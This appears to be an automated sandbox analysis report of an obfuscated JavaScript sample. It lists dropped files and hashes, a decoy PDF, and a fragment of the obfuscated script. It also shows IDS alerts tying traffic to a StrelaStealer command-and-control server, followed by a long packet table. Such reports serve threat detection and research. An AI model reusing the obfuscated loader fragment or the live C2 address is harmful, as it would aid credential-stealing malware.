._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17194), with CRLF line terminators
Entropy (8bit):	4.912251238523751
TrID:
File name:	1327128311804210730.js
File size:	20'830 bytes
MD5:	9b10a8c16f6fef32c515b91ba3e2488f
SHA1:	6827ebbe629d25783287280fda6be8972c3558b2
SHA256:	e617e86198911e74674bf87026f1ea89dc8d8956397d3132023e39968295d2b2
SHA512:	ea44fa3627483c25a1b40c180d8596cd538d323eece78bc6c5ba6c0d29787b5cb2a67f06343fea6f46cf0c3fd555c8ebf28f14b908eb6b377ea27ba420b61468
SSDEEP:	384:a1gbT3KRr1JioH4HuH1H1HaHGHtHbH+HuHTHZHiH+HrHZHcHAHnHAH8HTHPH5H8w:a1gbrKRrOoYOVV6mN7eOz5CeL58gHgcV
TLSH:	4D9243A2C9414F5FDDE41074911604853DE842CCF5E88BA698BAA5C99B337393AF33B9
File Content Preview:	function kcyik(){jjisjkq=[1031,3079,5127,4103,2055,3072];var lpiwprf=this[qflbdd+qtpzaydec+pmlzcz+gaxrd+defwpjpbw+uapbg+gxhvm+tvjzfacka](this[vtxgjczmv+nxxbszl+bdpkelt+pmlzcz+xomeghp+qflbdd+tvjzfacka][sbrppik+pmlzcz+defwpjpbw+qtpzaydec+tvjzfacka+defwpjpbw

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:05:24.596358+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T02:05:24.596358+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T02:05:27.319710+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:05:23.813005924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:23.818069935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:23.818145990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:23.840312004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:23.845091105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.596247911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.596275091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.596287966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.596358061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.596400023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.596412897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.596455097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.596462965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.596473932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.596487045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.596494913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.596504927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.596529007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.596638918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.596682072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.601119995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.642220020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.642234087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.642319918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.717854023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.717881918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.717892885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.717956066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.718082905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.718101978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.718113899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.718137980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.718175888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.718236923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.718249083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.718283892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.719029903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.719042063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.719059944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.719069958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.719082117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.719090939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.719114065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.719844103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.719856024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.719867945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.719892979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.719911098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.720010996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.720027924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.720079899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.720779896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.720791101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.720797062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.720845938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.776968956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.776983023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.777025938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.809767008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.809778929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.809788942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.809839964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.839498043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.839611053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.839622021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.839709997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.839884996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.839931965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.839945078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.839976072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.840069056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.840080976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.840091944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.840105057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.840112925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.840128899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.840586901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.840629101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.840636969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.840650082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.840692997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.840704918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.841028929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.841068983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.841074944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.841087103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.841126919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.841162920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.841175079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.841221094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.841635942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.841685057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.841696024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.841727972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.841892958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.841906071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.841917038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.841928959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.841938019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.841957092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.842674971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.842686892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.842698097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.842719078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.842739105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.842746973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.842757940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.842768908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.842780113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.842813015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.842838049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.843492031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.843538046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.843549967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.843575954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.843713999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.843727112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.843738079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.843755960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.843761921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.843771935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.844403982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.844445944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.863740921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.863765955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.863778114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.863840103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.896564960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.896589041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.896630049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.931225061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.931242943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.931256056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.931309938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.931335926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.931360960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.931375027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.931435108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.931459904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.960872889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.960896969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.960908890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.960966110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.960978031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.961040020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.961117029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.961127043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.961168051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.961337090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.961349964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.961360931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.961378098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.961441994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.961617947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.961714983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.961725950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.961740971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.961764097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.961777925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.961786032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.962239027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.962285995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.962307930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.962320089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.962358952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.962371111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.962692976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.962703943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.962716103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.962730885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.962739944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.962748051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.962775946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.962795973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.963129997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.963179111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.963191032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.963223934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.963305950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.963325024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.963337898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.963361025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.963378906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.963419914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.964097023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.964123964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.964135885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.964174032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.964194059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.964243889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.964256048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.964267015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.964279890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.964308023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.964334965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.965086937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.965099096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.965111971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.965143919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.965171099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.965183973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.965199947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.965208054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.965225935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.965249062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.965976000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.965993881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.966006041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.966032982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.966048956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.966068029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.966079950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.966092110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.966103077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.966120958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.966151953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.966898918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.966909885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.966921091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.966955900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.966996908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.967009068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.967020035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.967031956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.967039108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.967066050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.967789888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.967835903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.967968941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.967981100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.967992067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.968025923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.968039036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.968054056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.968091011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.968100071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.968112946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.968142986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.968904972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.968916893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.968929052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.968957901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.968977928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.968985081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.968995094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.969007015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.969017982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.969039917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.969069958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.974503040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.979640007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:24.983416080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.983436108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.983447075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:24.983501911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.018002033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.018022060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.018045902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.018053055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.018070936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.018083096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.018219948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.018234015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.018284082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.018295050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.018305063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.018326044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.018333912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.018345118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.018357038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.018364906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.018376112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.018385887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.018399000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.018424988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.047655106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.047668934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.047683001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.047723055 CET	49730	80	192.168.2.4	193.143.1.205
